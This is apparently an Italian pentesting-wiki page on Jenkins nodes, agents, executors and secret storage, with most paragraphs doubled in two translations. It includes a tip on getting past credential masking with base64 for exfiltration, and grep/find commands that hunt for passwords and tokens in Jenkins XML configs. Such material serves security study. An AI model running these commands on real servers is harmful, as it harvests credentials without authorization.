**Nodii** sono le **macchine** su cui i **client di build** vengono eseguiti. Jenkins monitora ogni nodo collegato per spazio su disco, spazio temporaneo libero, swap libero, tempo/sincronizzazione dell'orologio e tempo di risposta. Un nodo viene disconnesso se uno di questi valori supera la soglia configurata.
**Nodes** sono le **macchine** su cui girano gli **agent di build**. Jenkins monitora ogni nodo connesso per spazio su disco, spazio temporaneo libero, swap libero, ora/sincronizzazione dell'orologio e tempo di risposta. Un nodo viene messo offline se uno di questi valori supera le soglie configurate.
**Agenti** **gestiscono** l'**esecuzione dei compiti** per conto del controller Jenkins utilizzando **esecutori**. Un agente può utilizzare qualsiasi sistema operativo che supporta Java. Gli strumenti necessari per build e test sono installati sul nodo in cui l'agente viene eseguito; possono **essere installati direttamente o in un contenitore** (Docker o Kubernetes). Ogni **agente è effettivamente un processo con il proprio PID** sulla macchina host.
**Agents** gestiscono l'**esecuzione dei task** per conto del controller Jenkins **usando executors**. Un agent può usare qualsiasi sistema operativo che supporti Java. Gli strumenti necessari per build e test sono installati sul nodo dove l'agent gira; possono **essere installati direttamente o in un container** (Docker o Kubernetes). Ogni **agent è effettivamente un processo con il proprio PID** sulla macchina host.
Un **esecutore** è uno **slot per l'esecuzione di compiti**; effettivamente, è **un thread nell'agente**. Il **numero di esecutori** su un nodo definisce il numero di **compiti concorrenti** che possono essere eseguiti su quel nodo contemporaneamente. In altre parole, questo determina il **numero di `stages` Pipeline concorrenti** che possono essere eseguiti su quel nodo contemporaneamente.
Un **executor** è uno **slot per l'esecuzione dei task**; in pratica è **un thread nell'agent**. Il **numero di executors** su un nodo definisce il numero di **task concorrenti** che possono essere eseguiti su quel nodo contemporaneamente. In altre parole, questo determina il **numero di concurrent Pipeline `stages`** che possono essere eseguiti su quel nodo contemporaneamente.
## Segreti di Jenkins
### Crittografia di Segreti e Credenziali
### Encryption of Secrets and Credentials
Definizione dalla [documentazione](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utilizza **AES per crittografare e proteggere segreti**, credenziali e le rispettive chiavi di crittografia. Queste chiavi di crittografia sono memorizzate in `$JENKINS_HOME/secrets/` insieme alla chiave master utilizzata per proteggere tali chiavi. Questa directory dovrebbe essere configurata in modo che solo l'utente del sistema operativo con cui viene eseguito il controller Jenkins abbia accesso in lettura e scrittura a questa directory (cioè, un valore `chmod` di `0700` o utilizzando attributi di file appropriati). La **chiave master** (a volte chiamata "chiave di crittografia" nel gergo crittografico) è **memorizzata \_non crittografata\_** nel filesystem del controller Jenkins in **`$JENKINS_HOME/secrets/master.key`** che non protegge contro gli attaccanti con accesso diretto a quel file. La maggior parte degli utenti e degli sviluppatori utilizzerà queste chiavi di crittografia indirettamente tramite l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) per crittografare dati segreti generici o tramite l'API delle credenziali. Per i curiosi della crittografia, Jenkins utilizza AES in modalità di blocco di crittografia a catena (CBC) con padding PKCS#5 e IV casuali per crittografare istanze di [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) che sono memorizzate in `$JENKINS_HOME/secrets/` con un nome di file corrispondente al loro id `CryptoConfidentialKey`. Gli id di chiave comuni includono:
Definizione dalle [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins usa **AES per criptare e proteggere secrets**, credentials e le rispettive chiavi di crittografia. Queste chiavi di crittografia sono memorizzate in `$JENKINS_HOME/secrets/` assieme alla master key usata per proteggere tali chiavi. Questa directory dovrebbe essere configurata in modo che solo l'utente del sistema operativo con cui gira il controller Jenkins abbia accesso in lettura e scrittura a questa directory (es., un valore di `chmod` pari a `0700` o usando attributi file appropriati). La **master key** (talvolta indicata come "key encryption key" in gergo crittografico) è **stored \_unencrypted**\_ nel filesystem del controller Jenkins in **`$JENKINS_HOME/secrets/master.key`**, il che non protegge dagli attaccanti con accesso diretto a quel file. La maggior parte degli utenti e sviluppatori userà queste chiavi di crittografia indirettamente tramite l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) per criptare dati segreti generici o tramite le credentials API. Per i criptocuriosi, Jenkins usa AES in modalità cipher block chaining (CBC) con padding PKCS#5 e IV casuali per criptare istanze di [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) che sono memorizzate in `$JENKINS_HOME/secrets/` con un nome file corrispondente al loro `CryptoConfidentialKey` id. Gli id di chiave comuni includono:
- `hudson.util.Secret`: utilizzato per segreti generici;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizzato per alcuni tipi di credenziali;
- `jenkins.model.Jenkins.crumbSalt`: utilizzato dal [meccanismo di protezione CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
- `hudson.util.Secret`: usato per secrets generici;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usato per alcuni tipi di credentials;
- `jenkins.model.Jenkins.crumbSalt`: usato dal [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
### Accesso alle Credenziali
### Accesso alle Credentials
Le credenziali possono essere **scopate a fornitori globali** (`/credentials/`) che possono essere accessibili da qualsiasi progetto configurato, o possono essere scoperte a **progetti specifici** (`/job/<project-name>/configure`) e quindi accessibili solo dal progetto specifico.
Le credentials possono essere **associate a provider globali** (`/credentials/`) accessibili da qualsiasi progetto configurato, oppure possono essere limitate a **progetti specifici** (`/job/<project-name>/configure`) e quindi accessibili solo dal progetto specifico.
Secondo [**la documentazione**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Le credenziali che sono in ambito sono rese disponibili alla pipeline senza limitazioni. Per **prevenire esposizioni accidentali nel log di build**, le credenziali sono **mascherate** dall'output regolare, quindi un'invocazione di `env` (Linux) o `set` (Windows), o programmi che stampano il loro ambiente o parametri non **rivelerebbero** nel log di build agli utenti che altrimenti non avrebbero accesso alle credenziali.
Secondo [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Le credentials che sono in scope sono rese disponibili alla pipeline senza limitazioni. Per **prevenire l'esposizione accidentale nel log di build**, le credentials vengono **mascherate** dall'output normale, quindi un'invocazione di `env` (Linux) o `set` (Windows), o programmi che stampano il loro environment o i parametri **non le riveleranno nel log di build** a utenti che altrimenti non avrebbero accesso alle credentials.
**Ecco perché, per esfiltrare le credenziali, un attaccante deve, ad esempio, codificarle in base64.**
**Ecco perché, per esfiltrare le credentials, un attaccante deve, per esempio, codificarle in base64.**
### Secrets in plugin/job configs on disk
Non presumere che i secrets siano presenti solo in `credentials.xml`. Molti plugin persistono secrets nel loro **proprio XML globale** sotto `$JENKINS_HOME/*.xml` o nel per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, a volte anche in chiaro (il masking nell'interfaccia utente non garantisce la memorizzazione crittografata). Se ottieni accesso in lettura al filesystem, enumera quegli XML e cerca tag ovvi che contengano secrets.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Riferimenti
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Secondo [**la documentazione**](https://www.jenkins.io/blog/2019/02/21/credentia
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}